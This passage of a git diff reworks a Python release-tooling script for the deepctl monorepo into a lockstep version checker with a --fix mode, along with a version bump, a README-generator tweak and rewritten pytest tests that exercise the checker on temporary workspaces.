+    version_line: int  # index of [project]'s `version = ...` line, or -1
+    data: dict[str, Any] = field(default_factory=dict)
+    sources: dict[str, object] = field(default_factory=dict)
+
+    @property
+    def rel(self) -> str:
+        return self.path.relative_to(REPO).as_posix()
+
+    def dep_lines(self) -> Iterator[tuple[int, Requirement | None, str]]:
+        """Yield (line index, parsed requirement, raw text) inside the array."""
+        for i in range(self.deps_start + 1, self.deps_end):
+            m = _DEP_LINE.match(self.lines[i])
+            if not m:
+                continue
+            raw = m.group("req")
+            try:
+                yield i, Requirement(raw), raw
+            except InvalidRequirement:
+                yield i, None, raw
+
+
+def load(path: Path) -> Project:
+    text = path.read_text(encoding="utf-8")
+    data = tomllib.loads(text)
+    project = data.get("project", {})
+    lines = text.splitlines(keepends=True)
+    start = end = version_line = -1
+    in_project = False
+    for i, line in enumerate(lines):
+        stripped = line.strip()
+        if stripped.startswith("[") and not (start >= 0 and end < 0):
+            in_project = stripped == "[project]"
+            continue
+        if in_project and version_line < 0 and _VERSION_LINE.match(line):
+            version_line = i
+            continue
+        if in_project and start < 0 and re.match(r"^dependencies\s*=\s*\[\s*$", line):
+            start = i
+            continue
+        if start >= 0 and end < 0 and stripped == "]":
+            end = i
+    return Project(
+        path=path,
+        name=canonicalize_name(project.get("name", "")),
+        version=str(project.get("version", "")),
+        lines=lines,
+        deps_start=start,
+        deps_end=end,
+        version_line=version_line,
+        data=data,
+        sources=data.get("tool", {}).get("uv", {}).get("sources", {}),
+    )
 
 
-def floors(pyproject: Path) -> list[Dep]:
-    """Return every intra-workspace dependency declared by `pyproject`."""
-    deps = tomllib.loads(pyproject.read_text(encoding="utf-8"))["project"].get(
-        "dependencies", []
-    )
-    out: list[Dep] = []
-    for dep in deps:
-        m = _DEP_RE.match(dep)
-        if not m:
-            continue
-        floor = _FLOOR_RE.match(m.group("rest").strip())
-        out.append(
-            Dep(
-                name=m.group("name"),
-                floor=floor.group("version") if floor else None,
-                spec=floor.group("spec") if floor else "",
-                raw=dep,
+def _first_party(reqs: list[str]) -> set[str]:
+    """Canonical names of the deepctl* requirements in a TOML list."""
+    out: set[str] = set()
+    for raw in reqs:
+        try:
+            name = canonicalize_name(Requirement(raw).name)
+        except InvalidRequirement:
+            name = canonicalize_name(
+                re.split(r"[^A-Za-z0-9._-]", raw.strip(), maxsplit=1)[0]
             )
-        )
+        if name.startswith("deepctl"):
+            out.add(name)
     return out
 
 
-def parse(version: str) -> Version | None:
-    """PEP 440 version, or None when the string is not a valid version.
+def discover() -> tuple[Project, list[Project], list[Project]]:
+    """Return (root, lockstep siblings, separately versioned packages)."""
+    root = load(REPO / "pyproject.toml")
+    siblings: list[Project] = []
+    others: list[Project] = []
+    for pkg_dir in sorted((REPO / "packages").iterdir()):
+        pyproject = pkg_dir / "pyproject.toml"
+        if not pyproject.is_file():
+            continue
+        project = load(pyproject)
+        (others if project.name in NOT_LOCKSTEP else siblings).append(project)
+    return root, siblings, others
+
 
-    Returning None rather than raising keeps one hand-typed oddity from
-    turning `make floors-check` into a bare traceback naming no package; the
-    caller reports it as an ordinary problem instead.
-    """
+def parse(version: str) -> Version | None:
     try:
         return Version(version)
     except InvalidVersion:
         return None
 
 
-def main() -> int:
-    parser = argparse.ArgumentParser(description=__doc__)
-    parser.add_argument(
-        "--fix",
-        action="store_true",
-        help="rewrite root pyproject.toml floors to the workspace versions",
-    )
-    args = parser.parse_args()
+def version_files(siblings: list[Project]) -> list[Path]:
+    """`__init__.py` files whose `__version__` release-please also bumps."""
+    candidates = [REPO / "src" / "deepctl" / "__init__.py"]
+    for project in siblings:
+        candidates.extend(sorted((project.path.parent / "src").glob("*/__init__.py")))
+    return [p for p in candidates if p.is_file() and MARKER in p.read_text("utf-8")]
+
+
+class Checker:
+    def __init__(self, fix: bool) -> None:
+        self.fix = fix
+        self.problems: list[str] = []
+        self.fixed: list[str] = []
+        self.version = ""
+        self.count = 0
+
+    def problem(self, where: str, message: str) -> None:
+        self.problems.append(f"{where}: {message}")
+
+    # -- pyproject files -------------------------------------------------
+
+    def check_project(
+        self,
+        project: Project,
+        v: str,
+        lockstep: set[str],
+        required: list[str],
+    ) -> None:
+        """Version line, every first-party pin, required deps, sources."""
+        changed = False
+        where = project.rel
+
+        # [project]'s version line, with its marker. Compared as a string:
+        # release-please rewrites the literal X.Y.Z, so `0.5` != `0.5.0` here.
+        i = project.version_line
+        m = _VERSION_LINE.match(project.lines[i]) if i >= 0 else None
+        if m is None:
+            self.problem(where, '[project] has no `version = "..."` line')
+        elif m.group("version") != v or MARKER not in project.lines[i]:
+            if self.fix:
+                project.lines[i] = f'{m.group("key")}"{v}" {MARKER}\n'
+                changed = True
+            else:
+                self.problem(
+                    where,
+                    f"version {m.group('version')!r} must be {v!r} with the"
+                    f" `{MARKER}` marker (lockstep)",
+                )
 
-    versions = workspace_versions()
-    problems: list[str] = []
-
-    # Rule 1: root floors == workspace versions.
-    root = REPO / "pyproject.toml"
-    root_text = root.read_text(encoding="utf-8")
-    fixed = root_text
-    root_floors = floors(root)
-    for dep in root_floors:
-        current = versions.get(dep.name)
-        if current is None:
-            problems.append(f"root depends on {dep.name}, which is not in the manifest")
-            continue
-        if dep.floor is None:
-            problems.append(
-                f"root dependency {dep.raw!r} does not pin a `>=` floor"
-                f" (root is the delivery manifest: write"
-                f" {dep.name}>={current} so pip upgrades deliver it)"
-            )
-            continue
-        floor_version, current_version = parse(dep.floor), parse(current)
-        if floor_version is None:
-            problems.append(
-                f"root floor {dep.name}>={dep.floor} is not a valid PEP 440 version"
-            )
-            continue
-        if current_version is None:
-            problems.append(
-                f"{dep.name} workspace version {current} is not a valid PEP 440 version"
+        if project.deps_start < 0 or project.deps_end < 0:
+            if required:
+                self.problem(
+                    where,
+                    "[project] dependencies must be a multi-line array so the"
+                    " lockstep pins can be checked and fixed",
+                )
+            return
+
+        seen: set[str] = set()
+        for i, req, raw in project.dep_lines():
+            if req is None:
+                if raw.strip().lower().startswith("deepctl"):
+                    self.problem(where, f"cannot parse requirement {raw!r}")
+                continue
+            name = canonicalize_name(req.name)
+            if not name.startswith("deepctl"):
+                continue
+            if name not in lockstep:
+                self.problem(
+                    where,
+                    f"depends on {name}, which is not a lockstep package"
+                    " (first-party dependencies must be one of the"
+                    f" {len(lockstep)} lockstep packages)",
+                )
+                continue
+            seen.add(name)
+            want = f"{name}=={v}"
+            exact = (
+                len(req.specifier) == 1
+                and next(iter(req.specifier)).operator == "=="
+                and next(iter(req.specifier)).version == v
+                and not req.extras
+                and req.marker is None
             )
-            continue
-        if floor_version == current_version:
-            continue
-        if args.fix:
-            # Rewrite the version inside the spec we matched, so any upper
-            # bound, extra, or environment marker survives. A whole-spec
-            # literal replace silently no-ops on those, and an unfixable
-            # floor has to fall through to `problems` -- reporting "OK"
-            # after failing to fix is worse than not fixing.
-            new_raw = dep.raw.replace(dep.spec, f">={current}", 1)
-            if new_raw != dep.raw and f'"{dep.raw}"' in fixed:
-                fixed = fixed.replace(f'"{dep.raw}"', f'"{new_raw}"', 1)
+            marked = MARKER in project.lines[i]
+            if exact and marked:
                 continue
-        problems.append(
-            f"root floor {dep.name}>={dep.floor} != workspace version {current}"
-            " (published fixes will not be delivered by pip upgrades)"
+            if self.fix:
+                indent = _DEP_LINE.match(project.lines[i]).group("indent")  # type: ignore[union-attr]
+                project.lines[i] = f'{indent}"{want}", {MARKER}\n'
+                changed = True
+            elif not exact:
+                self.problem(
+                    where,
+                    f"{raw!r} must be exactly {want!r}"
+                    " (lockstep: a floor or range lets pip mix versions)",
+                )
+            else:
+                self.problem(
+                    where,
+                    f"the {raw!r} line is missing the `{MARKER}` marker"
+                    " (release-please would leave the pin behind)",
+                )
+
+        # Anything first-party the TOML holds but the line scan did not see
+        # (single quotes, two requirements on a line, an inline table...) is
+        # invisible to the pin check and to release-please: fail closed.
+        for stray in sorted(
+            _first_party(project.data["project"].get("dependencies", [])) - seen
+        ):
+            self.problem(
+                where,
+                f"{stray}: a first-party requirement must be on its own"
+                ' double-quoted line in [project] dependencies (`"name==V",`)',
+            )
+        extra_tables = {
+            f"[project.optional-dependencies] {k}": v_
+            for k, v_ in project.data["project"]
+            .get("optional-dependencies", {})
+            .items()
+        }
+        extra_tables.update(
+            {
+                f"[dependency-groups] {k}": [x for x in v_ if isinstance(x, str)]
+                for k, v_ in project.data.get("dependency-groups", {}).items()
+            }
         )
-    if args.fix and fixed != root_text:
-        root.write_text(fixed, encoding="utf-8")
-        print(f"fixed: root floors pinned to workspace versions in {root}")
+        for table, reqs in extra_tables.items():
+            for extra in sorted(_first_party(reqs) & lockstep):
+                self.problem(
+                    where,
+                    f"{table} requires the lockstep package {extra}; lockstep"
+                    " pins belong in [project] dependencies only",
+                )
 
-    # Rule 2: every sub-package floor must be satisfiable at co-release.
-    for pkg_dir in sorted((REPO / "packages").iterdir()):
-        pyproject = pkg_dir / "pyproject.toml"
-        if not pyproject.is_file():
-            continue
-        for dep in floors(pyproject):
-            current = versions.get(dep.name)
-            if current is None:
-                problems.append(
-                    f"{pkg_dir.name} depends on {dep.name},"
-                    " which is not in the manifest"
+        missing = [name for name in required if name not in seen]
+        for dep_name in missing:
+            if self.fix:
+                insert_at = project.deps_start + 1
+                project.lines.insert(insert_at, f'    "{dep_name}=={v}", {MARKER}\n')
+                project.deps_end += 1
+                changed = True
+            elif dep_name == ROOT_NAME:
+                self.problem(
+                    where,
+                    f"missing the back-edge {ROOT_NAME}=={v} (without it,"
+                    f" `pip install -U {project.name}` upgrades only that"
+                    " package and leaves the CLI behind)",
+                )
+            else:
+                self.problem(
+                    where,
+                    f"missing {dep_name}=={v} (root is the delivery manifest:"
+                    " `pip install -U deepctl` never installs a package root"
+                    " does not list)",
                 )
+
+        # Workspace sources for every first-party dependency.
+        for source_name in sorted(seen | set(missing)):
+            source = project.sources.get(source_name)
+            if isinstance(source, dict) and source.get("workspace") is True:
                 continue
-            if dep.floor is None:
+            if self.fix:
+                self._add_source(project, source_name)
+                changed = True
+            else:
+                self.problem(
+                    where,
+                    f"[tool.uv.sources] has no `{source_name} = {{ workspace = true }}`"
+                    " (uv would resolve the sibling from PyPI)",
+                )
+
+        if changed:
+            project.path.write_text("".join(project.lines), encoding="utf-8")
+            self.fixed.append(where)
+
+    @staticmethod
+    def _add_source(project: Project, name: str) -> None:
+        entry = f"{name} = {{ workspace = true }}\n"
+        lines = project.lines
+        header = next(
+            (i for i, line in enumerate(lines) if line.strip() == "[tool.uv.sources]"),
+            None,
+        )
+        if header is None:
+            if lines and not lines[-1].endswith("\n"):
+                lines[-1] += "\n"
+            lines.extend(["\n", "[tool.uv.sources]\n", entry])
+            return
+        # Drop a non-workspace entry for the same name, then append after the
+        # last key of the table.
+        end = header + 1
+        while end < len(lines) and not lines[end].lstrip().startswith("["):
+            end += 1
+        for i in range(header + 1, end):
+            if re.match(rf"^\s*{re.escape(name)}\s*=", lines[i]):
+                lines[i] = entry
+                return
+        insert_at = end
+        while insert_at > header + 1 and not lines[insert_at - 1].strip():
+            insert_at -= 1
+        lines.insert(insert_at, entry)
+
+    # -- the separately versioned packages --------------------------------
+
+    def check_independent(self, project: Project, v: str) -> None:
+        """The plugin example's first-party requirements accept V."""
+        if project.deps_start < 0:
+            return
+        for _, req, raw in project.dep_lines():
+            if req is None or not canonicalize_name(req.name).startswith("deepctl"):
                 continue
-            floor_version, current_version = parse(dep.floor), parse(current)
-            if floor_version is None or current_version is None:
-                problems.append(
-                    f"{pkg_dir.name}: floor {dep.name}>={dep.floor} or workspace"
-                    f" version {current} is not a valid PEP 440 version"
+            if not req.specifier.contains(v, prereleases=True):
+                self.problem(
+                    project.rel,
+                    f"{raw!r} does not accept the lockstep version {v} (unsatisfiable)",
                 )
-            elif floor_version > current_version:
-                problems.append(
-                    f"{pkg_dir.name}: floor {dep.name}>={dep.floor} exceeds"
-                    f" workspace version {current} (unsatisfiable)"
+
+    # -- __version__ lines and the manifest -------------------------------
+
+    def check_version_file(self, path: Path, v: str) -> None:
+        lines = path.read_text(encoding="utf-8").splitlines(keepends=True)
+        changed = False
+        for i, line in enumerate(lines):
+            m = _DUNDER_VERSION.match(line)
+            if not m or MARKER not in line:
+                continue
+            if m.group("version") == v:
+                continue
+            if self.fix:
+                lines[i] = f'{m.group("head")}"{v}"{m.group("rest")}\n'
+                changed = True
+            else:
+                self.problem(
+                    path.relative_to(REPO).as_posix(),
+                    f"__version__ {m.group('version')!r} must be {v!r}",
                 )
+        if changed:
+            path.write_text("".join(lines), encoding="utf-8")
+            self.fixed.append(path.relative_to(REPO).as_posix())
+
+    def check_manifest(self, v: str, others: list[Project]) -> None:
+        where = MANIFEST.relative_to(REPO).as_posix()
+        manifest: dict[str, str] = json.loads(MANIFEST.read_text(encoding="utf-8"))
+        allowed = {
+            project.path.parent.relative_to(REPO).as_posix() for project in others
+        }
+        want = {".": v}
+        want.update({k: val for k, val in manifest.items() if k in allowed})
+        if manifest == want:
+            return
+        if self.fix:
+            MANIFEST.write_text(json.dumps(want, indent=2) + "\n", encoding="utf-8")
+            self.fixed.append(where)
+            return
+        if manifest.get(".") != v:
+            self.problem(where, f'"." is {manifest.get(".")!r}, must be {v!r}')
+        for key in sorted(set(manifest) - {"."} - allowed):
+            self.problem(
+                where,
+                f"{key!r} is a lockstep package and must not have its own entry"
+                ' (one release-please component, ".")',
+            )
 
-    # Rule 3: every published package is a root dependency.
-    listed = {dep.name for dep in root_floors}
-    for name in sorted(set(versions) - listed - NOT_SHIPPED):
-        problems.append(
-            f"{name} is published but is not a root dependency"
-            " (pip upgrades will never install it; add it to root"
-            " pyproject.toml or to NOT_SHIPPED in this script)"
-        )
 
-    if problems:
-        print("dependency floor check FAILED:", file=sys.stderr)
-        for problem in problems:
+def main() -> int:
+    parser = argparse.ArgumentParser(
+        description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter
+    )
+    parser.add_argument(
+        "--fix",
+        action="store_true",
+        help="rewrite every version, pin, back-edge and source to the root version",
+    )
+    args = parser.parse_args()
+
+    if args.fix:
+        fixer = run(fix=True)
+        for where in fixer.fixed:
+            print(f"fixed: {where}")
+    # Always finish with a plain check of what is on disk, so `--fix` can
+    # never report success on a tree the next check would reject.
+    checker = run(fix=False)
+
+    if checker.problems:
+        print("lockstep check FAILED:", file=sys.stderr)
+        for problem in checker.problems:
             print(f"  - {problem}", file=sys.stderr)
         print(
-            "\nRun `make floors-fix` to pin stale root floors. Sub-package"
-            " floors and missing root dependencies are hand-maintained.",
+            "\nRun `make floors-fix` to set every version and pin to the root"
+            " version. Anything listed after a fix needs a hand edit.",
             file=sys.stderr,
         )
         return 1
 
-    print("dependency floors OK")
+    print(f"lockstep OK: {checker.count} packages at {checker.version}")
     return 0
 
 
+def run(fix: bool) -> Checker:
+    root, siblings, others = discover()
+    v = root.version
+    checker = Checker(fix=fix)
+    checker.version = v
+    checker.count = len(siblings) + 1
+    if parse(v) is None:
+        checker.problem(
+            "pyproject.toml", f"version {v!r} is not a valid PEP 440 version"
+        )
+        return checker
+
+    lockstep = {ROOT_NAME, *(project.name for project in siblings)}
+    sibling_names = sorted(project.name for project in siblings)
+    checker.check_project(root, v, lockstep, required=sibling_names)
+    for project in siblings:
+        checker.check_project(project, v, lockstep, required=[ROOT_NAME])
+    for project in others:
+        checker.check_independent(project, v)
+    for path in version_files(siblings):
+        checker.check_version_file(path, v)
+    checker.check_manifest(v, others)
+    return checker
+
+
 if __name__ == "__main__":
     sys.exit(main())
diff --git a/scripts/generate_readmes.py b/scripts/generate_readmes.py
index cbc2b554..59900eb6 100644
--- a/scripts/generate_readmes.py
+++ b/scripts/generate_readmes.py
@@ -32,8 +32,10 @@
 # Skip packages with comprehensive manual READMEs
 SKIP_PACKAGES: set[str] = set()
 
-# Internal package prefixes to exclude from dependency lists
-INTERNAL_PREFIXES = ("deepctl-core", "deepctl-cmd-", "deepctl-shared-")
+# Internal packages to exclude from dependency lists: the root and every
+# first-party sibling (all pinned to the same lockstep version).
+INTERNAL_PREFIXES = ("deepctl-",)
+INTERNAL_NAMES = {"deepctl"}
 
 
 def load_pyproject(package_dir: Path) -> dict[str, Any]:
@@ -60,7 +62,7 @@ def get_external_deps(deps: list[str]) -> list[str]:
     external = []
     for dep in deps:
         dep_name = re.split(r"[><=!;\[]", dep)[0].strip()
-        if any(dep_name.startswith(p) for p in INTERNAL_PREFIXES):
+        if dep_name in INTERNAL_NAMES or dep_name.startswith(INTERNAL_PREFIXES):
             continue
         external.append(dep)
     return external
diff --git a/src/deepctl/__init__.py b/src/deepctl/__init__.py
index 112d4374..c7a0e92a 100644
--- a/src/deepctl/__init__.py
+++ b/src/deepctl/__init__.py
@@ -7,7 +7,7 @@
 exports no ``main`` (``deepctl.main`` is the submodule).
 """
 
-__version__ = "0.4.0"  # x-release-please-version
+__version__ = "0.4.1"  # x-release-please-version
 __author__ = "Deepgram"
 __email__ = "devrel@deepgram.com"
 __license__ = "MIT"
diff --git a/tests/unit/test_dependency_floors.py b/tests/unit/test_dependency_floors.py
index cb1cbae5..e697fed1 100644
--- a/tests/unit/test_dependency_floors.py
+++ b/tests/unit/test_dependency_floors.py
@@ -1,69 +1,93 @@
-"""Tests for scripts/check_dependency_floors.py.
+"""Tests for scripts/check_dependency_floors.py, the lockstep check.
 
-The guard runs in CI (`make floors-check`) and, with `--fix`, twice in the
-release workflow's sync job: fix, `uv lock`, check. Those two commands run
-back to back, so anything that makes `--fix` disagree with the following
-check wedges the release PR -- the exact wall the guard exists to remove.
-The tests below drive the real script over throwaway workspaces.
+The check is a required status on every PR, and the release workflow's
+fix-up job runs it with `--fix`, then `uv lock`, then plain. Anything that
+makes `--fix` disagree with the next check wedges the release PR, so these
+tests drive the real script over throwaway workspaces.
 """
 
 from __future__ import annotations
 
-import ast
 import json
-import re
 import shutil
 import subprocess
 import sys
 from pathlib import Path
+from typing import TYPE_CHECKING
 
 import pytest
 
+if TYPE_CHECKING:
+    from collections.abc import Callable
+
 REPO = Path(__file__).resolve().parents[2]
 SCRIPT = REPO / "scripts" / "check_dependency_floors.py"
+MARKER = "# x-release-please-version"
+SIBLINGS = ["deepctl-core", "deepctl-cmd-keys", "deepctl-cmd-listen"]
 
 
-def make_workspace(
-    tmp_path: Path,
-    root_deps: list[str],
-    packages: dict[str, str],
-) -> Path:
-    """Build a minimal workspace the guard can be pointed at.
-
-    `packages` maps package name -> version; each becomes
-    packages/<name>/pyproject.toml and a manifest entry.
-    """
+def pin(name: str, version: str) -> str:
+    return f'    "{name}=={version}", {MARKER}\n'
+
+
+def project_toml(name: str, version: str, deps: list[str], sources: list[str]) -> str:
+    text = (
+        "[project]\n"
+        f'name = "{name}"\n'
+        f'version = "{version}" {MARKER}\n'
+        "dependencies = [\n" + "".join(deps) + '    "click>=8.0.0,<9",\n]\n'
+    )
+    if sources:
+        text += "\n[tool.uv.sources]\n" + "".join(
+            f"{s} = {{ workspace = true }}\n" for s in sources
+        )
+    return text
+
+
+def make_workspace(tmp_path: Path, version: str = "1.0.0") -> Path:
+    """A correct lockstep workspace: root, three siblings, the plugin example."""
     (tmp_path / "scripts").mkdir()
     shutil.copy(SCRIPT, tmp_path / "scripts" / SCRIPT.name)
-
-    deps = ", ".join(f'"{dep}"' for dep in root_deps)
     (tmp_path / "pyproject.toml").write_text(
-        "[project]\n"
-        'name = "deepctl"\n'
-        'version = "1.0.0"\n'
-        f"dependencies = [{deps}]\n",
+        project_toml(
+            "deepctl", version, [pin(s, version) for s in SIBLINGS], sources=SIBLINGS
+        ),
         encoding="utf-8",
     )
-
-    manifest: dict[str, str] = {".": "1.0.0"}
-    for name, version in packages.items():
-        pkg_dir = tmp_path / "packages" / name
-        pkg_dir.mkdir(parents=True)
-        (pkg_dir / "pyproject.toml").write_text(
-            f'[project]\nname = "{name}"\nversion = "{version}"\n',
-            encoding="utf-8",
+    for name in SIBLINGS:
+        deps = [pin("deepctl", version)]
+        sources = ["deepctl"]
+        if name != "deepctl-core":
+            deps.append(pin("deepctl-core", version))
+            sources.append("deepctl-core")
+        pkg = tmp_path / "packages" / name
+        pkg.mkdir(parents=True)
+        (pkg / "pyproject.toml").write_text(
+            project_toml(name, version, deps, sources), encoding="utf-8"
         )
-        manifest[f"packages/{name}"] = version
-
-    github = tmp_path / ".github"
-    github.mkdir()
-    (github / ".release-please-manifest.json").write_text(
-        json.dumps(manifest), encoding="utf-8"
+    example = tmp_path / "packages" / "deepctl-plugin-example"
+    example.mkdir(parents=True)
+    (example / "pyproject.toml").write_text(
+        project_toml(
+            "deepctl-plugin-example",
+            "0.1.12",
+            ['    "deepctl-core>=0.1.10",\n'],
+            sources=["deepctl-core"],
+        ),
+        encoding="utf-8",
+    )
+    init = tmp_path / "src" / "deepctl" / "__init__.py"
+    init.parent.mkdir(parents=True)
+    init.write_text(f'__version__ = "{version}"  {MARKER}\n', encoding="utf-8")
+    (tmp_path / ".github").mkdir()
+    (tmp_path / ".github" / ".release-please-manifest.json").write_text(
+        json.dumps({".": version, "packages/deepctl-plugin-example": "0.1.12"}),
+        encoding="utf-8",
     )
     return tmp_path
 
 
-def run_guard(workspace: Path, *args: str) -> subprocess.CompletedProcess[str]:
+def run_check(workspace: Path, *args: str) -> subprocess.CompletedProcess[str]:
     return subprocess.run(
         [sys.executable, str(workspace / "scripts" / SCRIPT.name), *args],
         capture_output=True,
@@ -71,172 +95,360 @@ def run_guard(workspace: Path, *args: str) -> subprocess.CompletedProcess[str]:
     )
 
 
-def root_dependencies(workspace: Path) -> list[str]:
-    """Read back the dependency list this module wrote, after --fix.
+def edit(path: Path, old: str, new: str) -> None:
+    text = path.read_text(encoding="utf-8")
+    assert old in text, (old, text)
+    path.write_text(text.replace(old, new, 1), encoding="utf-8")
 
-    Parsed with ast rather than tomllib so the test itself runs on 3.10,
-    where the guard uses its tomli fallback.
-    """
-    text = (workspace / "pyproject.toml").read_text(encoding="utf-8")
-    match = re.search(r"^dependencies = (\[.*\])$", text, re.MULTILINE)
-    assert match, text
-    deps: list[str] = ast.literal_eval(match.group(1))
-    return deps
 
+def sibling(workspace: Path, name: str) -> Path:
+    return workspace / "packages" / name / "pyproject.toml"
 
-@pytest.mark.parametrize(
-    "version",
-    ["0.4.0rc1", "1.0.0.dev1", "0.3.0.post1", "0.4.0b2"],
-)
-def test_fix_then_check_round_trips_on_pre_release_versions(
-    tmp_path: Path, version: str
-) -> None:
-    """`--fix` must produce a tree the very next check accepts.
 
-    The version regex used to stop at the first non-digit, so a workspace
-    version of 0.4.0rc1 was read as a floor of "0.4.0": --fix wrote
-    `deepctl-core>=0.4.0rc1` and reported success, and the check that runs
-    immediately after it in the release sync job exited 1 on the floor it
-    had just written. `make floors-check` could then never be made to pass.
-    """
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core>=0.1.0"],
-        packages={"deepctl-core": version},
+def test_lockstep_workspace_passes(tmp_path: Path) -> None:
+    result = run_check(make_workspace(tmp_path))
+    assert result.returncode == 0, result.stderr
+    assert "lockstep OK: 4 packages at 1.0.0" in result.stdout
+
+
+def test_real_repository_is_in_lockstep() -> None:
+    """The tree this test ships in passes its own required check."""
+    result = subprocess.run(
+        [sys.executable, str(SCRIPT)], capture_output=True, text=True
     )
+    assert result.returncode == 0, result.stderr
+    assert "lockstep OK: 30 packages at" in result.stdout
+
+
+# -- each drift fails closed, naming the file ----------------------------------
+
+
+def break_old_pin(ws: Path) -> str:
+    keys = sibling(ws, "deepctl-cmd-keys")
+    edit(keys, '"deepctl-core==1.0.0"', '"deepctl-core==0.9.0"')
+    return "packages/deepctl-cmd-keys/pyproject.toml: 'deepctl-core==0.9.0' must be exactly 'deepctl-core==1.0.0'"
+
+
+def break_back_edge(ws: Path) -> str:
+    edit(sibling(ws, "deepctl-cmd-listen"), pin("deepctl", "1.0.0"), "")
+    return "packages/deepctl-cmd-listen/pyproject.toml: missing the back-edge deepctl==1.0.0"
+
+
+def break_floor(ws: Path) -> str:
+    edit(sibling(ws, "deepctl-core"), '"deepctl==1.0.0"', '"deepctl>=1.0.0"')
+    return "packages/deepctl-core/pyproject.toml: 'deepctl>=1.0.0' must be exactly 'deepctl==1.0.0'"
+
+
+def break_root_list(ws: Path) -> str:
+    edit(ws / "pyproject.toml", pin("deepctl-cmd-listen", "1.0.0"), "")
+    return "pyproject.toml: missing deepctl-cmd-listen==1.0.0"
+
+
+BREAKS = {
+    "sibling pin ==V-1": break_old_pin,
+    "sibling missing deepctl==V": break_back_edge,
+    "floor >= instead of ==": break_floor,
+    "root missing a sibling": break_root_list,
+}
+
+
+@pytest.mark.parametrize("breaker", BREAKS.values(), ids=BREAKS.keys())
+def test_each_drift_fails_naming_the_file(
+    tmp_path: Path, breaker: Callable[[Path], str]
+) -> None:
+    ws = make_workspace(tmp_path)
+    expected = breaker(ws)
+
+    result = run_check(ws)
+
+    assert result.returncode == 1
+    assert expected in result.stderr, result.stderr
+
+
+def test_fix_repairs_all_four_at_once(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    clean = {p: p.read_text("utf-8") for p in ws.rglob("pyproject.toml")}
+    for breaker in BREAKS.values():
+        breaker(ws)
+    assert run_check(ws).returncode == 1
+
+    fix = run_check(ws, "--fix")
 
-    fix = run_guard(workspace, "--fix")
     assert fix.returncode == 0, fix.stderr
-    assert root_dependencies(workspace) == [f"deepctl-core>={version}"]
+    assert run_check(ws).returncode == 0
+    # Order inside the dependency array may differ; the set of lines may not.
+    for path, text in clean.items():
+        assert sorted(path.read_text("utf-8").splitlines()) == sorted(
+            text.splitlines()
+        ), path
 
-    check = run_guard(workspace)
-    assert check.returncode == 0, check.stderr
-    assert "dependency floors OK" in check.stdout
 
+def test_fix_is_idempotent(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    before = {p: p.read_bytes() for p in ws.rglob("*") if p.is_file()}
 
-def test_fix_is_idempotent_when_already_pinned(tmp_path: Path) -> None:
-    """A second --fix on an already-correct tree changes nothing."""
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core>=0.4.0rc1"],
-        packages={"deepctl-core": "0.4.0rc1"},
-    )
-    before = (workspace / "pyproject.toml").read_text(encoding="utf-8")
+    assert run_check(ws, "--fix").returncode == 0
 
-    assert run_guard(workspace, "--fix").returncode == 0
-    assert (workspace / "pyproject.toml").read_text(encoding="utf-8") == before
+    assert {p: p.read_bytes() for p in ws.rglob("*") if p.is_file()} == before
 
 
-def test_fix_preserves_upper_bounds_and_extras(tmp_path: Path) -> None:
-    """Only the floor is rewritten; the rest of the spec survives."""
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core[speech]>=0.1.0,<2"],
-        packages={"deepctl-core": "0.4.0rc1"},
-    )
+# -- the rest of the contract ------------------------------------------------
+
+
+def test_floor_equal_to_the_version_is_still_a_failure(tmp_path: Path) -> None:
+    """`>=V` lets pip pair this package with a newer sibling later on."""
+    ws = make_workspace(tmp_path)
+    edit(ws / "pyproject.toml", '"deepctl-core==1.0.0"', '"deepctl-core>=1.0.0"')
+
+    result = run_check(ws)
+
+    assert result.returncode == 1
+    assert "'deepctl-core>=1.0.0' must be exactly" in result.stderr
+
 
-    assert run_guard(workspace, "--fix").returncode == 0
-    assert root_dependencies(workspace) == ["deepctl-core[speech]>=0.4.0rc1,<2"]
-    assert run_guard(workspace).returncode == 0
+def test_pin_above_the_version_fails(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    edit(sibling(ws, "deepctl-cmd-keys"), '"deepctl==1.0.0"', '"deepctl==1.0.1"')
+    assert run_check(ws).returncode == 1
 
 
-def test_extras_do_not_look_like_a_missing_root_dependency(tmp_path: Path) -> None:
-    """A correctly pinned dep with extras is not reported as missing.
+def test_sibling_version_drift_fails_and_is_fixed(tmp_path: Path) -> None:
+    ws = make_workspace(tmp_path)
+    edit(sibling(ws, "deepctl-cmd-keys"), 'version = "1.0.0"', 'version = "0.9.0"')
 
-    Rule 3's "published but is not a root dependency" message is derived
-    from what rule 1's parser saw. When that parser only matched bare
-    `name>=version`, writing an extras group made the guard tell the
-    maintainer to add a dependency that was already right there.
-    """
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core[speech]>=0.4.0"],
-        packages={"deepctl-core": "0.4.0"},
+    result = run_check(ws)
+    assert result.returncode == 1
+    assert (
+        "packages/deepctl-cmd-keys/pyproject.toml: version '0.9.0' must be '1.0.0'"
+        in result.stderr
     )
 
-    result = run_guard(workspace)
-    assert result.returncode == 0, result.stderr
-    assert "is not a root dependency" not in result.stderr
+    assert run_check(ws, "--fix").returncode == 0
+    assert 'version = "1.0.0"' in sibling(ws, "deepctl-cmd-keys").read_text("utf-8")
 
 
-def test_non_floor_specifier_is_named_for_what_it_is(tmp_path: Path) -> None:
-    """`==` is reported as an unsupported specifier, not as an omission."""
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core==0.4.0"],
-        packages={"deepctl-core": "0.4.0"},
+def test_pin_without_marker_fails(tmp_path: Path) -> None:
+    """release-please only moves lines carrying the marker."""
+    ws = make_workspace(tmp_path)
+    edit(
+        sibling(ws, "deepctl-cmd-keys"),
+        pin("deepctl-core", "1.0.0"),
+        '    "deepctl-core==1.0.0",\n',
     )
 
-    result = run_guard(workspace)
+    result = run_check(ws)
+
     assert result.returncode == 1
-    assert "does not pin a `>=` floor" in result.stderr
-    assert "is not a root dependency" not in result.stderr
+    assert "missing the `# x-release-please-version` marker" in result.stderr
+    assert run_check(ws, "--fix").returncode == 0
 
 
-def test_stale_root_floor_still_fails(tmp_path: Path) -> None:
-    """Positive control: rule 1 keeps catching what it was written for."""
-    workspace = make_workspace(
-        tmp_path,
-        root_deps=["deepctl-core>=0.3.0"],
